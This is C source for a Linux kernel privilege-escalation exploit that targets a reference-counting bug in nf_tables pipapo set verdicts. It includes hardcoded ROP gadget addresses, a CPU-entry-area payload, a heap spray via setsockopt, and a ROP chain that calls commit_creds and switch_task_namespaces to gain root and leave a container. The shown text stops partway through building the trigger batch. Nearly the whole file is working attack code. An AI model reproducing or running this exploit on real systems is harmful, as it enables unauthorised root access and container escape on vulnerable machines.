#define _GNU_SOURCE
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/filter.h>
#include <linux/netfilter.h>
#include <linux/rtnetlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter_ipv4/ip_tables.h>

#include <stdio.h>
#include <stdlib.h>
#include <syscall.h>
#include <stdarg.h>
#include <sched.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef char i8;
typedef short i16;
typedef int i32;
typedef long long i64;

#include "netlink.h"

#define FAIL_IF(x) if ((x)) { \
    perror(#x); \
    return -1; \
}
#define PANIC_IF(x) if ((x)) { \
    perror(#x); \
    exit(errno); \
}
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))

inline static int _pin_to_cpu(int id) {
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(id, &set);
  return sched_setaffinity(getpid(), sizeof(set), &set);
}

#define MY_TABLE "foo_tab", strlen("foo_tab")
#define MY_SET "foo_set", strlen("foo_set")
#define CHAIN_A "chainA", strlen("chainA")
#define CHAIN_B "chainB", strlen("chainB")

#define MY_KEY_LEN 16
#define MY_KEY "keykeykeykeykeyk", MY_KEY_LEN

//
// offsets
//

// ffffffff81e09097: push rdi; jmp qword ptr [rsi+0xf]; 	4c57ff660f
u64 push_rdi_jmp_rsi_0xf = 0xffffffff81e09097;

// ffffffff8126df29: pop rsp; add rsp, 0x20; pop rbx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	5c4883c4205be94c6d1901c3
u64 pop_rsp_add_rsp_0x20_pop_rbx = 0xffffffff8126df29;

// ffffffff81251258: pop rdx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	5ae9223a1b01c3
u64 pop_rdx = 0xffffffff81251258;
// ffffffff818180b4: pop rbp; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	5de9c6cbbe00c3
u64 pop_rbp = 0xffffffff818180b4;

// ffffffff8102871c: pop rcx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	59e95ec53d01c3
u64 pop_rcx = 0xffffffff8102871c;
// ffffffff818344a5: push rax; jmp qword ptr [rcx]; 	50ff21
u64 push_rax_jmp_rcx = 0xffffffff818344a5;
// ffffffff81dadf48: pop rsp; jmp qword ptr [rsi+0xf]; 	5cff660f
u64 pop_rsp_jmp_rsi_0xf = 0xffffffff81dadf48;

// ffffffff81bc9099: lea rax, [r12+rbp]; pop rbx; pop rbp; pop r12; pop r13; pop r14; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	498d042c5b5d415c415d415ee9d6bb8300c3
u64 lea_rax_r12_plus_rbp_pop5 = 0xffffffff81bc9099;

// ffffffff812f9168: pop rdi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	5fe912bb1001c3
u64 pop_rdi = 0xffffffff812f9168;

// ffffffff8124f56d:       48 89 c7                mov    %rax,%rdi
// ffffffff8124f570:       48 89 3d d1 b9 23 03    mov    %rdi,0x323b9d1(%rip)        # ffffffff8448af48 <vmcoreinfo_data_safecopy>
// ffffffff8124f577:       e9 04 57 1b 01          jmp    ffffffff82404c80 <__x86_return_thunk>
u64 mov_rdi_rax = 0xffffffff8124f56d;

// ffffffff81bd1748: pop rsi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	5ee932358300c3
u64 pop_rsi = 0xffffffff81bd1748;

// function trailer for nft_do_chain
u64 nft_do_chain_leave = 0xffffffff81e517eb;

// we use this for the fast path to copy some data from the skb into RSI
u64 nft_payload_fast_ops = 0xffffffff82b27580;

u64 find_task_by_vpid = 0xffffffff811bbe60;
u64 switch_task_namespaces = 0xffffffff811c3a30;
u64 commit_creds = 0xffffffff811c55a0;
u64 prepare_kernel_cred = 0xffffffff811c5840;
u64 init_task = 0xffffffff83815a40;
u64 init_nsproxy = 0xffffffff83876720;

// ffffffff810ebbdd: add rsp, 0x88; jmp __x86_return_thunk (0xffffffff82404c80); ret; 	4881c488000000e997903101c3
u64 add_rsp_0x88 = 0xffffffff810ebbdd;


#define FOR_ALL_OFFSETS(x) do { \
    x(push_rdi_jmp_rsi_0xf); \
    x(pop_rsp_add_rsp_0x20_pop_rbx); \
    x(pop_rdx); \
    x(pop_rbp); \
    x(pop_rcx); \
    x(push_rax_jmp_rcx); \
    x(pop_rsp_jmp_rsi_0xf); \
    x(lea_rax_r12_plus_rbp_pop5); \
    x(pop_rdi); \
    x(mov_rdi_rax); \
    x(pop_rsi); \
    x(add_rsp_0x88); \
    x(nft_do_chain_leave); \
    x(nft_payload_fast_ops); \
    x(find_task_by_vpid); \
    x(switch_task_namespaces); \
    x(commit_creds); \
    x(prepare_kernel_cred); \
    x(init_task); \
    x(init_nsproxy); \
  } while(0)

//
//
//

// just use side channels
int bypass_kaslr(u64 base);

// CPU entry area pointers. We prepare some memory here that will be referenced
// by the ROP chains.
// We need:
//  - the struct nft_expr_ops { .eval } member
//  - a pivot gadget to restore the stack
//  - and a pointer to the nft_do_chain function trailer so that we jump to it.
#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (u64)cpu * 0x3b000)
#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58)
#define MAIN_CPU 0
#define HELPER_CPU 1

struct cpu_entry_area_payload {
  union {
    struct {
      // function to call to evaluate the expression
      u64 nft_expr_eval;
      // stack pivot gadget to go back to normal execution
      u64 pop_rsp_jmp_rsi_0xf;
      // nft_do_chain jump target to restore execution
      u64 nft_do_chain_leave;
    };
    u64 regs[16];
  };
};


// Our payload which will reclaim the object in chain->{blob_gen_1,blob_gen_0}
// This is essentially a struct nft_rule_blob with a single rule
// This rule than has 4 expressions which will run our payload.
struct payload {
  // This is provided by struct xt_table_info->size
  #if 0
  // blob size
  u64 size;
  #endif

  //
  // note that we omit a hole of ~60 bytes which is all zero
  //

  // rule data (1 rule)
  u64 is_last:1, dlen:12, handle:42;

  // We use this to setup the regs argument passed to our following fake_expr in RSI.
  // Essentially these exprs will copy data from the packet into the regs.
  // We need it for our stack pivot.
  struct {
    u64 fast_ops;
    u8 base;
    u8 offset;
    u8 len;
    u8 dreg;
    u32 __padding;
  } __attribute__((__packed__)) fast_exprs[3] __attribute__((aligned(__alignof__(u64))));;

  // Actual call into our rop chain
  struct {
    u64 fake_ops;
    u64 rop_chain[128];
  } fake_expr;
};

static u32 rop_chain_rsi[6] = {};
static struct payload payload = {};

void setup_registers(struct payload* payload) {
  // this function sets up the part of the payload which sets up the nft_regs structure
  // in nft_do_chain.
  // essentially we copy a stack pivot gadget into them
  // the payload will be copied directly from the packet we send to trigger the payload

  *(u64*)((u8*)rop_chain_rsi + 0xF) = pop_rsp_add_rsp_0x20_pop_rbx;

  const u32* regs = rop_chain_rsi;
  int j = 0;
  for (int i = 0; i < 6; i++) {
    if (regs[i] == 0) {
      continue;
    }

    payload->fast_exprs[j].fast_ops = nft_payload_fast_ops;
    payload->fast_exprs[j].base = NFT_PAYLOAD_NETWORK_HEADER;
    // offset of our skb payload data
    payload->fast_exprs[j].offset = 0x1c + i * 4;
    payload->fast_exprs[j].len = 4;
    payload->fast_exprs[j].dreg = i;

    j++;
  }

  #if 0
  payload->size = sizeof(struct payload) - 8; // offsetof(struct payload, is_last);
  #endif
  payload->is_last = 0;
  payload->dlen = sizeof(struct payload) - offsetof(struct payload, fast_exprs);
  payload->handle = 0xDEAD;
}

void setup_rop_chain(struct payload* payload) {
  payload->fake_expr.fake_ops = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, nft_expr_eval);

  // top of stack points contains &payload->fake_expr
  // we jump into this using this gadget:
  // pop rsp; add rsp, 0x20; pop rbx; jmp __x86_return_thunk (0xffffffff82404c80); ret;

  u64* rop_chain = payload->fake_expr.rop_chain;
  int i = 0x20 / 8;

  // had some issue with object boundaries. Lets get some more stack space ..
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  #if 0
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  rop_chain[i++] = add_rsp_0x88;
  i += 0x88 / 8;
  #endif

  rop_chain[i++] = pop_rdi;
  rop_chain[i++] = init_task;
  rop_chain[i++] = prepare_kernel_cred;

  rop_chain[i++] = mov_rdi_rax;
  rop_chain[i++] = commit_creds;

  rop_chain[i++] = pop_rdi;
  rop_chain[i++] = 1;
  rop_chain[i++] = find_task_by_vpid;

  rop_chain[i++] = mov_rdi_rax;
  rop_chain[i++] = pop_rsi;
  rop_chain[i++] = init_nsproxy;
  rop_chain[i++] = switch_task_namespaces;

  // prepare to restore execution
  // nft_do_chain:
  //   entry:
  //     sub 0x220 rsp
  //     lea r12, [rsp+0x48]
  //   exit:
  //     ffffffff81e517eb: 89 d0   mov    %edx,%eax
  rop_chain[i++] = pop_rbp;
  rop_chain[i++] = 0x220 - 0x48;
  rop_chain[i++] = lea_rax_r12_plus_rbp_pop5;
  i += 5;

  // prepare the stack restore gadget
  rop_chain[i++] = pop_rcx;
  rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, pop_rsp_jmp_rsi_0xf);

  // prepare the return jmp gadget
  rop_chain[i++] = pop_rsi;
  rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, nft_do_chain_leave) - 0xf;

  // setup the return vaule
  rop_chain[i++] = pop_rdx;
  rop_chain[i++] = NF_DROP;

  // actually restore execution
  rop_chain[i++] = push_rax_jmp_rcx;
}

static struct nlmsghdr* begin_batch_chunk(struct nlmsghdr* nlh) {
  nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len);
    return nlmsg_end(nlh);
}

static void end_batch_chunk(struct nlmsghdr* batch, struct nlmsghdr* nlh) {
  batch->nlmsg_len += nlh->nlmsg_len;
}

static void add_verdict_data(struct nlattr* attr, u16 type, u32 code, ...) {
  va_list ap;
  va_start(ap, code);

  struct nlattr* data = netlink_attr_nest_begin(attr, type);

  struct nlattr* verdict = netlink_attr_nest_begin(data, NFTA_DATA_VERDICT);
  netlink_attr_append(verdict, NFTA_VERDICT_CODE, &code, sizeof(code));

  while (1) {
    u16 t = va_arg(ap, u32);
    if (!t) {
      break;
    }

    void* data = va_arg(ap, void*);
    size_t size = va_arg(ap, size_t);

    netlink_attr_append(verdict, t, data, size);
  }

  netlink_attr_nest_end(data, verdict);
  netlink_attr_nest_end(attr, data);

}

int ip_link_set_flags(int s, int ifindex, unsigned int ifi_flags) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifinfomsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifi_family = PF_UNSPEC;
    data->ifi_type = 0;
    data->ifi_index = ifindex;
    data->ifi_flags = ifi_flags;// IFF_UP;
    data->ifi_change = 1;

    FAIL_IF(netlink_send(s, nlh) < 0);
    FAIL_IF(netlink_recv(s, nlh, sizeof(buf)) < 0);
    FAIL_IF(netlink_errno(nlh) != 0);
    return 0;
}

static void sig_handler(int s) {}

static __attribute__((noreturn)) void write_cpu_entry_area(void* payload) {
  asm volatile (
	  "mov %0, %%rsp\n"
	  "pop %%r15\n"
	  "pop %%r14\n"
	  "pop %%r13\n"
	  "pop %%r12\n"
	  "pop %%rbp\n"
	  "pop %%rbx\n"
	  "pop %%r11\n"
	  "pop %%r10\n"
	  "pop %%r9\n"
	  "pop %%r8\n"
	  "pop %%rax\n"
	  "pop %%rcx\n"
	  "pop %%rdx\n"
	  "pop %%rsi\n"
	  "pop %%rdi\n"
	  "divq (0x1234000)\n"
    "1:\n"
    "jmp 1b\n"
    : : "r"(payload)
  );
  __builtin_unreachable();
}

// Fill the CPU entry area exception stack of HELPER_CPU with a
// struct cpu_entry_area_payload
static void setup_cpu_entry_area() {
  if (fork()) {
    return;
  }

  struct cpu_entry_area_payload payload = {};
  payload.nft_expr_eval = push_rdi_jmp_rsi_0xf;
  payload.pop_rsp_jmp_rsi_0xf = pop_rsp_jmp_rsi_0xf;
  payload.nft_do_chain_leave = nft_do_chain_leave;

  PANIC_IF(_pin_to_cpu(HELPER_CPU) < 0);
  PANIC_IF(signal(SIGFPE, sig_handler) == SIG_ERR);
  PANIC_IF(signal(SIGTRAP, sig_handler) == SIG_ERR);
  PANIC_IF(signal(SIGSEGV, sig_handler) == SIG_ERR);
  PANIC_IF(setsid() == -1);

  write_cpu_entry_area(&payload);
}


static void* payload_page = NULL;

int spray_payload(int fd) {
  struct ipt_replace replace = {};
  // into dyn-kmalloc-8k-cg please
  replace.size = 0x1000 + 1;
  // need this to make the allocation
  replace.num_counters = 1;

  memcpy(payload_page, &replace, sizeof(replace));
  _Static_assert(sizeof(replace) + sizeof(payload) <= 0x1000, "payload does not fit into one page");
  memcpy(payload_page + sizeof(replace), &payload, sizeof(payload));

  // int fd = socket(AF_INET, SOCK_STREAM, 0);

  for (int i = 0; i < 8; i++) {
    // this faults during the copy_from_user_call, immediately frees our payload again,
    // but that is enough for us
    if (setsockopt(fd, SOL_IP, IPT_SO_SET_REPLACE, payload_page, 0x1000 * 2) == 0 || errno != EFAULT) {
      printf("spray payload: setsockopt(): unexpected error?\n");
      return -1;
    }
  }

  return 0;
}


void sandbox() {
  PANIC_IF(_pin_to_cpu(MAIN_CPU) < 0);
  PANIC_IF(unshare(CLONE_NEWUSER | CLONE_NEWNET));

  int s;
  PANIC_IF((s = netlink_open(NETLINK_ROUTE)) < 0);
  PANIC_IF(ip_link_set_flags(s, 1 /* if_nametoindex("lo") */, IFF_UP));
  close(s);
}

int main(int argc, char *argv[]) {
  printf("Hello World!\n");
  sandbox();

  if (argc > 1) {
      u64 base = strtoull(argv[1], NULL, 16);
      bypass_kaslr(base);
  } else {
      bypass_kaslr(0);
  }

  // prepare all the payloads and the processes using them
  setup_registers(&payload);
  setup_rop_chain(&payload);

  // fd to spray payloads
  int spray_fd;
  FAIL_IF((spray_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0);
  // mmap an isolated page which will fault when over-read
  payload_page = mmap((void*)0xAAAAA000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  FAIL_IF(payload_page == MAP_FAILED);

  // fd to trigger payload
  int s;
  FAIL_IF((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0);
  struct sockaddr_in dst = {};
  dst.sin_port = 9999;
  inet_aton("127.0.0.1", &dst.sin_addr);

  // now a large portion of nf_tables setup code, will do the following:
  //    table MY_TABLE
  //    set MY_SET
  //      verdict JUMP chain B    (1 use)
  //    chain A (basechain)
  //      JUMP chain B            (1 use)
  //    chain B
  //      RETURN
  //      [ many chunk rules, to prepare for > 0x1000 allocation ]
  //
  // mostly noise, read comments for key information
  int nfd;
  FAIL_IF((nfd = netlink_open(NETLINK_NETFILTER)) < 0);

  #define BUF_SIZE 8096
  u8* buf;
  FAIL_IF((buf = calloc(BUF_SIZE, 1)) == NULL);

  struct nlmsghdr* batch = (void*)buf;

  struct nfgenmsg* data = NLMSG_DATA(batch);
  batch->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
  batch->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
  batch->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
  batch->nlmsg_seq = 0;
  batch->nlmsg_pid = 0;

  data->nfgen_family = NFPROTO_IPV4;
  data->res_id = htons(NFNL_SUBSYS_NFTABLES);

  {
    // Create a new table
    struct nlmsghdr* nlh = begin_batch_chunk(batch);

    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_TABLE_NAME, MY_TABLE);

    end_batch_chunk(batch, nlh);
  }
  {
    // Create a new set, aiming for pipapo
    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    const u32 keylen = htonl(MY_KEY_LEN);
    netlink_attr_put(nlh, NFTA_SET_KEY_LEN, &keylen, sizeof(keylen));

    // need NFT_SET_MAP in order to place verdict
    // need NFT_SET_INTERVAL in order to use the pipapo set
    // need NFT_SET_CONCAT in order specify more than one field
    const u32 flags = htonl(NFT_SET_MAP | NFT_SET_INTERVAL | NFT_SET_CONCAT);
    netlink_attr_put(nlh, NFTA_SET_FLAGS, &flags, sizeof(flags));
    // we want to place verdict data, please
    const u32 type = htonl(NFT_DATA_VERDICT);
    netlink_attr_put(nlh, NFTA_SET_DATA_TYPE, &type, sizeof(type));

    // pipapo is the last set in the list, an invalid policy selects the last valid one
    const u32 policy = htonl(0xFFFFFFFF);
    netlink_attr_put(nlh, NFTA_SET_POLICY, &policy, sizeof(policy));

    netlink_attr_put(nlh, NFTA_SET_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_SET_NAME, MY_SET);

    const u32 id = htonl(0xAABBCCDD);
    netlink_attr_put(nlh, NFTA_SET_ID, &id, sizeof(id));

    struct nlattr* n = netlink_nest_begin(nlh, NFTA_SET_DESC);
    struct nlattr* nn = netlink_attr_nest_begin(n, NFTA_SET_DESC_CONCAT);

    // create two fields so that pipapo will be selected. Use half of the key for each field
    const u32 len = htonl(MY_KEY_LEN / 2);
    struct nlattr* el;

    el = netlink_attr_nest_begin(nn, NFTA_LIST_ELEM);
    netlink_attr_append(el, NFTA_SET_FIELD_LEN, &len, sizeof(len));
    netlink_attr_nest_end(nn, el);

    el = netlink_attr_nest_begin(nn, NFTA_LIST_ELEM);
    netlink_attr_append(el, NFTA_SET_FIELD_LEN, &len, sizeof(len));
    netlink_attr_nest_end(nn, el);

    netlink_attr_nest_end(n, nn);
    netlink_nest_end(nlh, n);

    end_batch_chunk(batch, nlh);
  }

  {
    // Create a new chain, chain A, our base chain
    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_CHAIN_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_CHAIN_NAME, CHAIN_A);

    const u32 flags = htonl(NFT_CHAIN_BASE);
    netlink_attr_put(nlh, NFTA_CHAIN_FLAGS, &flags, sizeof(flags));

    struct nlattr* hook = netlink_nest_begin(nlh, NFTA_CHAIN_HOOK);

    const u32 hooknum = htonl(NF_INET_LOCAL_IN);
    const u32 priority = htonl(0);
    netlink_attr_append(hook, NFTA_HOOK_HOOKNUM, &hooknum, sizeof(hooknum));
    netlink_attr_append(hook, NFTA_HOOK_PRIORITY, &priority, sizeof(priority));

    netlink_nest_end(nlh, hook);

    end_batch_chunk(batch, nlh);
  }

  {
    // Create a new chain, chain B
    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_CHAIN_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_CHAIN_NAME, CHAIN_B);

    const u32 flags = htonl(0);
    netlink_attr_put(nlh, NFTA_CHAIN_FLAGS, &flags, sizeof(flags));

    end_batch_chunk(batch, nlh);
  }

  {
    // Add a new rule RETURN to chain B:
    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_RULE_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_RULE_CHAIN, CHAIN_B);

    struct nlattr* exprs = netlink_nest_begin(nlh, NFTA_RULE_EXPRESSIONS);

    struct nlattr* el = netlink_attr_nest_begin(exprs, NFTA_LIST_ELEM);

    netlink_attr_append(el, NFTA_EXPR_NAME, "immediate", strlen("immediate"));
    struct nlattr* expr_data = netlink_attr_nest_begin(el, NFTA_EXPR_DATA);

    add_verdict_data(expr_data, NFTA_IMMEDIATE_DATA, htonl(NFT_RETURN), 0);

    const u32 dreg = htonl(NFT_REG_VERDICT);
    netlink_attr_append(expr_data, NFTA_IMMEDIATE_DREG, &dreg, sizeof(dreg));

    netlink_attr_nest_end(el, expr_data);
    netlink_attr_nest_end(exprs, el);

    netlink_nest_end(nlh, exprs);

    end_batch_chunk(batch, nlh);
  }

  {
    // Add a new rule JUMP chain B to chain A:
    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_RULE_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_RULE_CHAIN, CHAIN_A);

    struct nlattr* exprs = netlink_nest_begin(nlh, NFTA_RULE_EXPRESSIONS);

    struct nlattr* el = netlink_attr_nest_begin(exprs, NFTA_LIST_ELEM);

    netlink_attr_append(el, NFTA_EXPR_NAME, "immediate", strlen("immediate"));
    struct nlattr* expr_data = netlink_attr_nest_begin(el, NFTA_EXPR_DATA);

    add_verdict_data(expr_data, NFTA_IMMEDIATE_DATA, htonl(NFT_JUMP), NFTA_VERDICT_CHAIN, CHAIN_B, 0);

    const u32 dreg = htonl(NFT_REG_VERDICT);
    netlink_attr_append(expr_data, NFTA_IMMEDIATE_DREG, &dreg, sizeof(dreg));

    netlink_attr_nest_end(el, expr_data);
    netlink_attr_nest_end(exprs, el);

    netlink_nest_end(nlh, exprs);

    end_batch_chunk(batch, nlh);
  }

  {
    // Insert verdict JUMP chain B into the set using MY_KEY as identifier
    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_SET_ELEM_LIST_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_SET_ELEM_LIST_SET, MY_SET);

    struct nlattr* list = netlink_nest_begin(nlh, NFTA_SET_ELEM_LIST_ELEMENTS);

    // not sure why we need this nesting ..
    struct nlattr* el = netlink_attr_nest_begin(list, 0xFFFF);

    const u32 flags = htonl(0);
    netlink_attr_append(el, NFTA_SET_ELEM_FLAGS, &flags, sizeof(flags));

    add_verdict_data(el, NFTA_SET_ELEM_DATA, htonl(NFT_JUMP), NFTA_VERDICT_CHAIN, CHAIN_B, 0);

    struct nlattr* key = netlink_attr_nest_begin(el, NFTA_SET_ELEM_KEY);
    netlink_attr_append(key, NFTA_DATA_VALUE, MY_KEY);
    netlink_attr_nest_end(el, key);
    netlink_attr_nest_end(list, el);
    netlink_nest_end(nlh, list);

    end_batch_chunk(batch, nlh);
  }

  // Now we need to blow up chain B, the allocation needs to be larger than 4096.
  // We will simply add NFT_CONTINUE immediate expressions, for no specific reason.
  // Total size of our allocation will be NUM_RULES * (8 + NUM_EXPR * SIZEOF(EXPR)).
  // With immediate expressions SIZEOF(EXPR) == 32
  // Choose NUM_EXPR = 16
  // We need an allocation > 4096 bytes, thus we need at least 4096 / (8 + 512) = 8 rules
  for (int i = 0; i < 8; i++)
  {
    // Add a new rule CONTINUE to chain B:
    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
    nlh->nlmsg_flags = NLM_F_REQUEST  | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_RULE_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_RULE_CHAIN, CHAIN_B);

    struct nlattr* exprs = netlink_nest_begin(nlh, NFTA_RULE_EXPRESSIONS);

    // Add some dummy expressions, just to increase rule size
    for (int j = 0; j < 16; j++) {
      struct nlattr* el = netlink_attr_nest_begin(exprs, NFTA_LIST_ELEM);
      netlink_attr_append(el, NFTA_EXPR_NAME, "immediate", strlen("immediate"));
      struct nlattr* expr_data = netlink_attr_nest_begin(el, NFTA_EXPR_DATA);

      add_verdict_data(expr_data, NFTA_IMMEDIATE_DATA, htonl(NFT_CONTINUE), 0);

      const u32 dreg = htonl(NFT_REG_VERDICT);
      netlink_attr_append(expr_data, NFTA_IMMEDIATE_DREG, &dreg, sizeof(dreg));

      netlink_attr_nest_end(el, expr_data);
      netlink_attr_nest_end(exprs, el);
    }

    netlink_nest_end(nlh, exprs);

    end_batch_chunk(batch, nlh);
  }

  {
    struct nlmsghdr* nlh = begin_batch_chunk(batch);

    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = NFNL_MSG_BATCH_END;
    nlh->nlmsg_flags = NLM_F_REQUEST;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    end_batch_chunk(batch, nlh);
  }

  u32 total_len = batch->nlmsg_len;
  printf("total_len = %u\n", total_len);
  batch->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);

  FAIL_IF(__netlink_send(nfd, batch, total_len) < 0);
  FAIL_IF(netlink_recv(nfd, batch, BUF_SIZE) < 0);
  if (netlink_errno(batch) != 0) {
    // _hexdump(buf, 256, 0);
    perror("netlink_send()");
    return -1;
  }

  printf("setup complete.\n");

  // wait for RCU for good measure
  sleep(1);

  //
  // We now trigger the bug
  //

  bzero(buf, BUF_SIZE);

  batch->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
  batch->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
  batch->nlmsg_flags = NLM_F_REQUEST ;
  batch->nlmsg_seq = 0;
  batch->nlmsg_pid = 0;

  data->nfgen_family = NFPROTO_IPV4;
  data->res_id = htons(NFNL_SUBSYS_NFTABLES);

  {
    // Remove the verdict from the set.
    // This should decrement the chain_B->use counter by one
    // Additionally, it will mark the set element inactive, but it remains in
    // the set for the entire transaction.

    struct nlmsghdr* nlh = begin_batch_chunk(batch);
    struct nfgenmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
    nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELSETELEM;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->nfgen_family = NFPROTO_IPV4;

    netlink_attr_put(nlh, NFTA_SET_ELEM_LIST_TABLE, MY_TABLE);
    netlink_attr_put(nlh, NFTA_SET_ELEM_LIST_SET, MY_SET);

